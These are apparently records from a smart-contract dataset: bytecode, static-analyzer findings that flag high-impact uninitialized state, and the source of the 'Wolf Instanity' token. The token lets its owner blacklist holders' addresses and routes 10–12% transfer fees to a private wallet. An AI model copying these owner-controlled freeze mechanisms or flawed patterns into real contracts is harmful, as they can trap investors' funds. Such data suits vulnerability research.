4565b600260105560095460ff16156112b35760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106a4565b60006112be33610c99565b905080156112eb57336000818152600e60205260409020426001909101556112e69082611a9e565b611333565b60405162461bcd60e51b815260206004820152600e60248201527f4e6f7420656e6f756768206f696c00000000000000000000000000000000000060448201526064016106a4565b506001601055565b6001546001600160a01b0316331461138b5760405162461bcd60e51b81526020600482015260136024820152724e4f5420414c4c4f57454420544f2052554c4560681b60448201526064016106a4565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b0381166000908152600e60205260408120546060919067ffffffffffffffff8111156113fa576113fa61244a565b604051908082528060200260200182016040528015611423578160200160208202803683370190505b50905060005b6001600160a01b0384166000908152600e60205260409020548110156114b4576001600160a01b0384166000908152600e6020526040902080548290811061147357611473612434565b90600052602060002090600202016001015482828151811061149757611497612434565b6020908102919091010152806114ac816123ed565b915050611429565b5092915050565b6001546001600160a01b0316331461150b5760405162461bcd60e51b81526020600482015260136024820152724e4f5420414c4c4f57454420544f2052554c4560681b60448201526064016106a4565b600f55565b336000908152600c602052604090205460ff1661156f5760405162461bcd60e51b815260206004820152601960248201527f464f5242494444454e20544f204d494e54204f52204255524e0000000000000060448201526064016106a4565b610dea8282611cb9565b6001546001600160a01b031633146115c95760405162461bcd60e51b81526020600482015260136024820152724e4f5420414c4c4f57454420544f2052554c4560681b60448201526064016106a4565b601155565b60095460009060ff16156116175760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016106a4565b6116223384846116a6565b50600192915050565b6001546001600160a01b0316331461167b5760405162461bcd60e51b81526020600482015260136024820152724e4f5420414c4c4f57454420544f2052554c4560681b60448201526064016106a4565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6001600160a01b0383166000908152600a60205260409020548111156117345760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016106a4565b6003546000906001600160a01b038481169116148061176057506003546001600160a01b038581169116145b80156117745750600954610100900460ff16155b801561179957506003546001600160a01b03166000908152600a602052604090205415155b15611851576003546001600160a01b038481169116141561185157620186a0600f54836117c691906123b7565b6117d09190612395565b90508015611851576002546001600160a01b03166000908152600a60205260408120805483929061180290849061237d565b90915550506002546003546040518381526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b0384166000908152600a6020526040812080548492906118799084906123d6565b90915550611889905081836123d6565b6001600160a01b0384166000908152600a6020526040812080549091906118b190849061237d565b90915550506001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118ef84866123d6565b60405190815260200160405180910390a350505050565b60005b8151811015611a995760005b6001600160a01b0384166000908152600e6020526040902054811015611a86576001600160a01b0384166000908152600e6020526040902080548290811061195f5761195f612434565b90600052602060002090600202016001015483838151811061198357611983612434565b60200260200101511415611a74576001600160a01b0384166000908152600e6020526040902080546119b7906001906123d6565b815481106119c7576119c7612434565b9060005260206000209060020201600e6000866001600160a01b03166001600160a01b031681526020019081526020016000206000018281548110611a0e57611a0e612434565b60009182526020808320845460029093020191825560019384015493909101929092556001600160a01b0386168152600e90915260409020805480611a5557611a5561241e565b6000828152602081206002600019909301928302018181556001015590555b80611a7e816123ed565b915050611915565b5080611a91816123ed565b915050611909565b505050565b8060056000828254611ab0919061237d565b90915550506001600160a01b0382166000818152600a60209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a35050565b336000908152600e60205260408120546005811015611b2b57600091505090565b600a811015611b3c57600f91505090565b6014811015611b4d57601991505090565b602391505090565b60008060018180611b6689896123d6565b9050888a1015611b74578899505b611b7e8a896123d6565b91506213c68081101580611b925750858911155b15611b9c57600292505b6276a7008110611baf5760649350611c0e565b60025b6004811015611c0c576000611bca826213c6806123b7565b9050600081118015611bdc5750828111155b15611bf357611bec86600f61237d565b9550611bf9565b50611c0c565b5080611c04816123ed565b915050611bb2565b505b611c178b611d2d565b15611c4f576201518083611c348468878678326eac9000006123b7565b611c3e91906123b7565b611c489190612395565b9450611c8a565b611c59878561237d565b93506201518083611c7384681b1ae4d6e2ef5000006123b7565b611c7d91906123b7565b611c879190612395565b94505b6064611c9685876123b7565b611ca09190612395565b611caa908661237d565b9b9a5050505050505050505050565b6001600160a01b0382166000908152600a602052604081208054839290611ce19084906123d6565b90915550506005805482900390556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611afe565b60008160281415611d4057506001919050565b81606c1415611d5157506001919050565b8160a91415611d6257506001919050565b8160bf1415611d7357506001919050565b8160f61415611d8457506001919050565b816101011415611d9657506001919050565b8161013f1415611da857506001919050565b816101821415611dba57506001919050565b816101f01415611dcc57506001919050565b816102321415611dde57506001919050565b8161027d1415611df057506001919050565b816102b41415611e0257506001919050565b816103401415611e1457506001919050565b816103ae1415611e2657506001919050565b816103af1415611e3857506001919050565b816103bd1415611e4a57506001919050565b8161044c1415611e5c57506001919050565b816104541415611e6e57506001919050565b816104911415611e8057506001919050565b8161049a1415611e9257506001919050565b8161065b1415611ea457506001919050565b816106aa1415611eb657506001919050565b816107331415611ec857506001919050565b8161075c1415611eda57506001919050565b816108591415611eec57506001919050565b8161086e1415611efe57506001919050565b816108751415611f1057506001919050565b816108a61415611f2257506001919050565b816108b81415611f3457506001919050565b816108be1415611f4657506001919050565b816109cc1415611f5857506001919050565b81610a451415611f6a57506001919050565b81610b2f1415611f7c57506001919050565b81610bef1415611f8e57506001919050565b81610c011415611fa057506001919050565b81610cd01415611fb257506001919050565b81610ce11415611fc457506001919050565b81610cfa1415611fd657506001919050565b81610cff1415611fe857506001919050565b81610d211415611ffa57506001919050565b81610d53141561200c57506001919050565b81610e15141561201e57506001919050565b81610e37141561203057506001919050565b81610ebe141561204257506001919050565b8161109a141561205457506001919050565b816110ab141561206657506001919050565b816110ce141561207857506001919050565b8161110a141561208a57506001919050565b8161111e141561209c57506001919050565b8161112d14156120ae57506001919050565b8161124314156120c057506001919050565b8161126314156120d257506001919050565b816112ff14156120e457506001919050565b506000919050565b803580151581146120fc57600080fd5b919050565b60006020828403121561211357600080fd5b813561211e81612460565b9392505050565b60006020828403121561213757600080fd5b815161211e81612460565b6000806040838503121561215557600080fd5b823561216081612460565b9150602083013561217081612460565b809150509250929050565b60008060006060848603121561219057600080fd5b833561219b81612460565b925060208401356121ab81612460565b929592945050506040919091013590565b600080604083850312156121cf57600080fd5b82356121da81612460565b91506121e8602084016120ec565b90509250929050565b6000806040838503121561220457600080fd5b823561220f81612460565b946020939093013593505050565b6000806020838503121561223057600080fd5b823567ffffffffffffffff8082111561224857600080fd5b818501915085601f83011261225c57600080fd5b81358181111561226b57600080fd5b8660208260051b850101111561228057600080fd5b60209290920196919550909350505050565b6000602082840312156122a457600080fd5b61211e826120ec565b6000602082840312156122bf57600080fd5b5035919050565b6020808252825182820181905260009190848201906040850190845b818110156122fe578351835292840192918401916001016122e2565b50909695505050505050565b600060208083528351808285015260005b818110156123375785810183015185820160400152820161231b565b81811115612349576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b6000821982111561239057612390612408565b500190565b6000826123b257634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156123d1576123d1612408565b500290565b6000828210156123e8576123e8612408565b500390565b600060001982141561240157612401612408565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461247557600080fd5b5056fea2646970667358221220c939c646d7fa7b12a22758374dc35bd69efadc39e81436abfd3e25636da07ba064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,178 |
0x3a61334b88d650c36b5b963f6b5a10fc150ac713
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
/**
🐺 Wolf Instanity 🐺
🐺With the Bear and Bull market constantly
switching dominance in Crypto World,
we present you the new symbol for market🐺
🐺Wolf Instanity is the next way to look into crypto.
We as Wolves are going to keep the pack ready for every season of crypto.
The saying lone Wolf is just a myth,
we hunt and raid together🐺
TG: https://t.me/WolfInsanity
WEB: http://wolfinsanity.com
🐺BE PART OF THE PACK🐺
Total Supply: 100,000,000,000
MaxBuy 1.5%
MaxWallet 3%
*/
pragma solidity ^0.8.10;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WolfInstanity is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Wolf Instanity";
string private constant _symbol = "Wolf Instanity";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x43e4dD20706D9636bDAB615C92aa176EE8024200);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 12;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1500000000 * 10**9;
_maxWalletSize = 3000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612723565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127ed565b6104b4565b60405161018e9190612848565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612872565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d5565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a1e565b61060d565b60405161021f9190612848565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a71565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612aba565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b01565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b2e565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a71565b6109dd565b6040516103199190612872565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b6a565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612723565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127ed565b610c9e565b6040516103da9190612848565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b2e565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b85565b611330565b60405161046e9190612872565b60405180910390f35b60606040518060400160405280600e81526020017f576f6c6620496e7374616e697479000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c11565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c31565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8f565b91505061057b565b5050565b600061061a84848461158a565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1d9092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c11565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c11565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c11565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c8190919063ffffffff16565b611cfc90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d46565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db2565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c11565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c11565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f576f6c6620496e7374616e697479000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b848461158a565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c11565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c8190919063ffffffff16565b611cfc90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e20565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c11565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d24565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d59565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d59565b6040518363ffffffff1660e01b815260040161109c929190612d86565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d59565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612df4565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e6a565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506714d1120d7b160000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612ebd565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612efb565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142690612f9a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114969061302c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157d9190612872565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f1906130be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561166a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166190613150565b